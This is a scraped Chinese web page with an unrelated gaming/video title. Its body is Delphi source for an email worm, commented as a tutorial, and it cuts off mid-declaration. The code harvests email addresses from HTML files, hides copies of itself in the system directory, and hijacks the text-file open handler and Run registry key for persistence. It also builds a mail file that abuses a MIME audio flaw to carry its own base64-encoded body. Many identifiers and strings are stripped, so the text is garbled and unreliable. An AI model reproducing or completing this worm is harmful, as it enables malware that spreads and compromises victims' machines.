魔兽世界帧数低-芒果tv弹幕怎么打开
2023年4月6日发(作者:document all)unit Unit1;
interface
uses
Windows, Messages, SysUtils, Forms, shellapi,
winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;
type
TForm1 = class(TForm)
Timer1: TTimer;
Memo1: TMemo;
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
procedure FindFiles(StartDir: string);
procedure GetEmailAddress(FileName:string);
procedure WriteAddress(Address:string);
{ Private declarations }
public
procedure getinputhandle;
procedure postmsg;
procedure scanemail;
procedure wmwindowsclose(var msg:Tmessage);message wm_queryendsession;
procedure kill98;
{ Public declarations }
end;
type
cs=record
address:array[0..99] of string;
count:integer; //email地址的个数
smtp:pchar; //smtp服务器的地址
account:pchar; //发送信笺时使用的帐号
end;
var
Form1: TForm1;
hWnd11:hwnd;
i,safeid:integer;
talk1,talk2,talk3:string;
const
HELO=HELO#13#10;
MAILFROM=MAIL FROM: %S#13#10;
RCPTTO=RCPT TO: %S#13#10;
DATA=DATA#13#10;
QUIT=QUIT#13#10;
ENDSIGN=#13#10.#13#10;
implementation
// function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external ;
{$R *.dfm}
function checkwinver:string;
var
OS :TOSVersionInfo;
begin
ZeroMemory(@OS,SizeOf(OS));
rsionInfoSize:=SizeOf(OS);
GetVersionEx(OS);
Result:=未知;
if formId=VER_PLATFORM_WIN32_NT then begin
case rVersion of
3: Result:=NT;
4: Result:=NT;
5: Result:=2000;
end;
if (rVersion=5) and (rVersion=1) then
Result:=XP;
end else begin
if (rVersion=4) and (rVersion=0) then begin
Result:=95;
if (Trim(ersion)=B) then
Result:=952;
end else
if (rVersion=4) and (rVersion=10) then begin
Result:=98;
if (Trim(ersion)=A) then
Result:=982;
end else
if (rVersion=4) and (rVersion=90) then
Result:=ME;
end;
end;
procedure les(StartDir: string);
var
SR: TSearchRec; //用来储存返回的文件的一些数据
IsFound: Boolean;//做为一个标志
begin
IsFound :=FindFirst(StartDir+*.htm, faAnyFile-faDirectory, SR) = 0;
//在startdir里面查找htm文件
while IsFound do begin
//如果找到htm文件
GetEmailAddress(startdir+);
//这里调用我们自己定义的函数,传递的参数是startdir+也就是该文件的绝对路径。
//注意,这里的函数 GetEmailAddress我们等一下再来描述
IsFound := FindNext(SR) = 0;
//继续查找htm文件,只到标志isfound为false
end;
FindClose(SR);
IsFound := FindFirst(StartDir+*.*, faAnyFile, SR) = 0;
//现在是查找所有的文件
while IsFound do begin
if (( and faDirectory) <> 0) and([1] <> .) then
findfiles(startdir++);
//如果该文件是目录,并且不是"."或者"..",那么就在
该目录里继续查找,也就是在这里递归了。
IsFound := FindNext(SR) = 0;
end;
FindClose(SR);
end;
procedure ilAddress(FileName:string);
var
F:textfile;
S:string;//用来装每次读一行的字符串
Address:string;//得到的email地址
i,Position:integer;
begin
AssignFile(F,FileName);
Reset(f);
while not Eof(f) do
begin
Address:=;
//首先清空address
Readln(f,s);
//读取一行字符串到s中
Position:=Pos(mailto:,S);
//查找首个"mailto:"在s中的地址,如果一行中含有多个"mailto:"则需要你自己修改修改
if Position > 0 then
begin
for i:=Position+7 to length(S) do
//这里position+7里的7表示"mailto:"的长度
begin
if ((Upcase(s)<=#90) and (Upcase(s)>=#64)) or ((S<=#57) and (S>=#48)) or (S=.) then
//判断是否有效字符
Address:=Address+S
else
break;
end;
if (Address<>) and (Pos(@,Address)<>0) then
//如果是有效地址,就把它写到列表中去。
//但是,可能这个地址以前已经存在在这个列表中,
//所以我定义了一个函数WriteAddress来判断是否存在该地址
//如果不存在,就添加到地址列表中去。
WriteAddress(Address);
end;
end;
closefile(f);
end;
procedure ddress(Address:string);
var
F:textfile;
S,Str:string;
CanWrite:boolean;
Path:array[0..255] of char;
begin
GetSystemDirectory(path,256);
//首先取得系统目录,到时候把email地址列表文件保存到这里。
Str:=Strpas(Path);
CanWrite:=true;
AssignFile(F,Str+);
if FileExists(Str+)=false then
begin
//如果不存在,则信建一个文件来存放email地址。
Rewrite(F);
writeln(F,Address);
Closefile(F);
exit;
end else
begin
Reset(f);
while not Eof(F) do
begin
Readln(F,S);
if Address=S then
begin
CanWrite:=false;
break;
end;
end;
CloseFile(F);
end;
if CanWrite then
begin
Append(F);
Writeln(F,Address);
CloseFile(F);
end;
end;
procedure SelfCopy;
var
Path,value:array [0..255] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path,256);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr(0)),pchar(S+),false);
CopyFile(pchar(paramstr(0)),pchar(S+
),false);
//把自身拷贝到系统目录下为,virus_
SetFileAttributes(pchar(S+),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+
),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOT,txtfileshellopencommand,Hk);
value:= %1;
RegSetvalueEx(Hk,,0,REG_SZ,@value,17);
//把virus_和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINE,SoftwareMicrosoftWindowsCurrentVersionRun,Hk);
value:=;
RegSetvalueEx(Hk,ruin,0,REG_SZ,@value,8);
//设
置开机自动运行
end;
procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数,也就两个文件的路径
const
_Code64: String[64] =(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz+/);
//这里就是base64编码算法的64个字符
crlf=#13#10;
//定义crlf为回车换行
var
s,d:file;
buf1:array[0..2] of byte;
buf2:array[0..3] of char;
llen,len,pad,i:integer;
begin
assignfile(d,dest); //这里是目标文件
rewrite(d,1);
assignfile(s,source);//这里是原始文件
reset(s,1);
pad:=0;
llen:=0;
while (1=1) do
begin
blockread(s,buf1,3,len);if len=0 then break;
if (len<3) then
begin
pad:=3-len;
for i:=len to 2 do
buf1:=0;
end;
buf2[0]:=_Code64[buf1[0] div 4+1];
buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1];
buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1];
buf2[3]:=_Code64[buf1[2] mod 64+1];
//这里进行了编码
if (pad<>0) then
begin
if pad=2 then buf2[2]:==;
buf2[3]:==;
//输入只有一个或两个字节,那么输出将用等号“=”补足
blockwrite(d,buf2,4);
end
else
begin
blockwrite(d,buf2,4);
end;
inc(llen,4);
if (llen=76) then
begin
blockwrite(d,crlf,2);
//控制每行只写76个字符
llen:=0;
end;
end;
blockwrite(d,crlf,2);
closefile(d);
closefile(s);
end;
function makeboundary:string;
begin
result:=-----=_老同学_+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10));
end;
procedure makeemlfile;
var
f,d:textfile;
path:array[0..255] of char;
boundary1,boundary2,S,str,line:string;
begin
GetSystemDirectory(path,256);
str:=strpas(path);
boundary1:=makeboundary;
boundary2:=makeboundary;
//这里,我们随机的生成了两个标签。
Randomize;
s:=From: +inttostr(Random(100))+@+#13#10//这里你可以换成你自己的email地址
+Subject: 你好!#13#10 //这里,你也可以随机的来生成主题
+X-Priority: 1#13#10 //邮件的优先级,其实可以忽略
+Mime-Version: 1.0#13#10
+Content-Type: multipart/related;boundary="+boundary1+"#13#10#13#10
+--+boundary1+#13#10
+Content-Type: multipart/alternative;boundary="+boundary2+"#13#10
+--+boundary2+#13#10
+Content-Type: text/html#13#10
+Content-Transfer-Encoding: quoted-printable#13#10#13#10
+#13#10
+--+boundary1+#13#10
+Content-Type: audio/x-wav;name=""#13#10 //就是这里audio/x-wav为mime漏洞了。
+Content-Transfer-Encoding: base64#13#10
+Content-ID:
//这里就是填充一些必要的信息。
assignfile(f,str+
);
rewrite(f);
write(f,s);//首先把上面的内容写入文件
CopyFile(pchar(paramstr(0)),pchar(str+
uin_),false);
//因为
不能打开自身进行读写,所以,这里先做一个拷贝文件,我们直接来读拷贝后的文件
encodebase64(str+
uin_,str+
uin_);
deletefile(str+
uin_);
//删除刚才拷贝的临时文件
assignfile(d,str+
uin_);
reset(d);
while not eof(d) do
begin
readln(d,line);
writeln(f,line);
//接着向里面写入我们的病毒代码的base64编码
end;
closefile(d);
deletefile(str+
uin_);
//删除刚才调用base64编码算法生成的临时文件
closefile(f);
end;
function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度
var
i:integer;
begin
for i:=1 to length(buffer) do
if buffer=#10 then break;
mysizeof:=i;
end;
function randomaddress:pchar; //产生一个用户名
begin
Randomize;
result:=pchar(inttostr(random(1000))+@);
end;
function getip(name:pchar):pchar;
type
plongint=^long
更多推荐
qq for pad
发布评论